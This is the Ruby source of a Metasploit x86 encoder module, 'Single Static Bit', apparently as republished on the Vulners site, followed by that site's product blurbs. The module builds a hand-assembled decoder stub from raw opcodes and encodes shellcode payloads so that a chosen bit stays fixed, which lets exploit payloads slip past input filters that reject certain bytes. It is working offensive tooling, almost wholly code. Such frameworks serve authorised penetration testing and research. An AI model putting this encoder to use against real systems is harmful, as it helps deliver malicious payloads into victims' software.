##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# NOTE: this encoder currently has only be tested using bit 5 set to on.
#
# The decoder has been tested with all possible values, but the decoder stub
# is was not designed to bypass restrictions other than "bit 5 must be on"..
#
class MetasploitModule < Msf::Encoder
# This encoder has a manual ranking because it should only be used in cases
# where information has been explicitly supplied, specifically
# BitNumber and BitValue.
Rank = ManualRanking
def initialize
super(
'Name' => 'Single Static Bit',
'Description' => 'Static value for specific bit',
'Author' => 'jduck',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'EncoderType' => Msf::Encoder::Type::SingleStaticBit
)
# this shouldn't be present in the decoder stub.
@key_marker = 0x1010
end
#
# Returns the decoder stub that is adjusted for the size of
# the buffer being encoded
#
def decoder_stub(state)
bit_num = (datastore['BitNumber'] || 5).to_i
bit_val = (datastore['BitValue'] || true)
# variables:
# bit to ignore (global - hardcoded)
# buf len (can be deduced with a jmp/call/pop) (global - ebx)
# current source byte ptr (global - esi)
# current dest byte ptr (global - edi) ?
# current dest byte (global - ah) ?
# number of bits accumulated (global - ebp) ?
# current source byte (outer - al)
# bit index (for this byte) (inner - cl) ?
pre_init = ""
pre_init << "\x31\xed" # xor ebp, ebp - no bits accumulated
pre_init << "\x83\xe1\x01" # and ecx, $0x1 - init inner loop counter (set to 0/1)
pre_init << "\x83\xe3\x01" # and ebx, $0x1 - init buffer length
pre_init << "\x66\xbb" + [@key_marker].pack('v') # - load encrypted buffer length
pre_init << "\x66\x81\xf3" + [@key_marker].pack('v') # - xor decrypt buffer length
# we stored an entire byte, move to the next one
next_byte = ""
next_byte << "\x83\xef\xff" # sub edi, 0xffffffff - increment dst pointer
next_byte << "\x31\xed" # xor ebp, ebp - no bits accumulated
# inside the loop, we need to extract a bit, as
# specified by:
#
# ecx-1 - bit number to extract
# al - byte to extract it from
get_a_bit = ""
get_a_bit << "\x60" # pusha - save all registers
get_a_bit << "\x83\xe9\x01" # sub ecx, 1 - account for 1-based counting
get_a_bit << "\x74\x06" # jz +6 - skip dividing if bit zero
get_a_bit << "\xb3\x02" # mov bl, 2 - set divisor to 2
# divide_it:
get_a_bit << "\xf6\xf3" # div bl - do the division
get_a_bit << "\xe2" + [-1 * (2+2)].pack('C') # - divide again..
# store_bit:
get_a_bit << "\x83\xe0\x01" # and eax, 0x01 - we only want the lowest bit
get_a_bit << "\x6b\x2f\x02" # imul ebp, 2, [edi] - load [edi], shifted left by 1, to ebp
get_a_bit << "\x09\xe8" # or ebp, eax - set bit 0
get_a_bit << "\xaa" # stosb al, [edi] - store byte back
get_a_bit << "\x61" # popa - restore previous ebx/eax
get_a_bit << "\x83\xed\xff" # sub ebp, 0xffffffff - increment bits stored
inner_init = ""
inner_init << "\xb1\x08" # mov cl, $0x8 - init loop counter
inner_loop = ""
# process_bits:
inner_loop << "\x80\xf9" # cmp cl, <ignore_bit + 1> - is this the one to ignore?
inner_loop << [(bit_num+1)].pack('C')
len = get_a_bit.length + 3 + 2 + next_byte.length
inner_loop << "\x74" + [len].pack('C') # - je next_bit
inner_loop << get_a_bit
inner_loop << "\x83\xfd\x08" # cmp ebp, $0x8 - got 8 bits now?
inner_loop << "\x75" + [next_byte.length].pack('C') # - jne to next_bit
# next_dst_byte:
inner_loop << next_byte
# next_bit:
# I really wish this silly padding wasn't necessary, however removing the bad characters in the
# jump/call displacements has proven difficult otherwise.
inner_loop << "\x90" * 0x1a # nops - for padding (so relative jumps don't have badchars)
len = -1 * (inner_loop.length+2)
inner_loop << "\xe2" + [len].pack('C') # - loop process_bits
# prefixed by: # jmp data_beg_call
outer_init = ""
# get_data_beg:
outer_init << "\x5e" # pop esi - ptr to beginning of data
outer_init << pre_init
outer_init << "\x89\xf7" # mov edi, esi - decode in place, init dst ptr
outer_loop = ""
#outer_loop << "\x90" * (0xd+6)
outer_loop << "\x83\xe0\x7f" # and eax, 0x7f - we only want the low byte
outer_loop << "\xac" # lods al, [esi] - load src byte
outer_loop << inner_init << inner_loop
outer_loop << "\x83\xeb\x01" # sub ebx, 1 - 1 byte down!
outer_loop << "\x74\x07" # jz +(2+5) - jump to data!
len = -1 * (outer_loop.length+2)
# next_byte:
outer_loop << "\xeb" + [len].pack('C') # - jmp process_byte
# data_beg_call:
decoder = outer_init + outer_loop
jmp = "\xeb" + [decoder.length].pack('C')
call = "\xe8" + [-1 * (decoder.length+5)].pack('V')
decoder = jmp + decoder + call
# encoded sled
state.context = ''
return decoder
end
def encode_block(state, block)
bit_num = (datastore['BitNumber'] || 5).to_i
bit_num = (7-bit_num)
bit_val = (datastore['BitValue'] || true)
encoded = ''
new_byte = 0
nbits = 0
block.unpack('C*').each do |ch|
7.step(0,-1) do |x|
# is this the special bit?
if (nbits == bit_num)
new_byte <<= 1 if nbits > 0
new_byte |= 1 if bit_val
nbits += 1
# do we have a full byte?
if nbits == 8
encoded << new_byte.chr
new_byte = 0
nbits = 0
end
end
# we have space, add it in
new_byte <<= 1 if nbits > 0
new_byte += 1 if (((ch >> x) & 1) > 0)
nbits += 1
# do we have a full byte?
if nbits == 8
encoded << new_byte.chr
new_byte = 0
nbits = 0
end
end
end
# if we have bits left, pad out to a whole byte
if nbits > 0
while nbits < 8
new_byte <<= 1
new_byte |= 1 if (nbits == bit_num) and bit_val
nbits += 1
end
encoded << new_byte.chr
end
return encoded
end
#
# Appends the encoded context portion.
#
def encode_end(state)
state.encoded += state.context
xor_key = 0
xor_key_str = ''
enc_len_str = ''
loop do
xor_key = rand(0x10000)
xor_key_str = [xor_key].pack('v')
enc_len_str = [state.encoded.length ^ xor_key].pack('v')
next if has_badchars?(xor_key_str, state.badchars)
next if has_badchars?(enc_len_str, state.badchars)
break
end
marker_str = [@key_marker].pack('v')
state.encoded.sub!(marker_str, enc_len_str)
state.encoded.sub!(marker_str, xor_key_str)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation